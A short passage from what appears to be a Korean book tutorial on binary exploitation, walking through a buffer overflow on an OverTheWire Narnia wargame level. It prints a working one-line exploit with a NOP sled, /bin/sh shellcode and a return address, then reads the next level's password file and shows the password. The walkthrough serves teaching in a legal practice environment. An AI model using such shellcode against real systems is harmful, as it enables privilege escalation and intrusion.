더북(TheBook)

실행할 셸 코드를 확보했지만 몇 가지 이유로 narnia3 패스워드를 읽을 수 없다. GDB를 빠져나와 다음 명령을 실행하자.

narnia2@melinda:/narnia$ ./narnia2 `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`

$ cat /etc/narnia_pass/narnia3

vaequeezee

제대로 동작한다! 이제 셸 권한을 얻어 narnia3의 패스워드를 읽을 수 있다. 지금까지 설명한 내용을 토대로 버퍼 오버플로를 조금이나마 이해할 수 있었는가? 여기서 설명한 내용은 바이너리 취약점 공격의 일부분에 불과하다. 나머지는 여러분이 직접 시도하자.

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.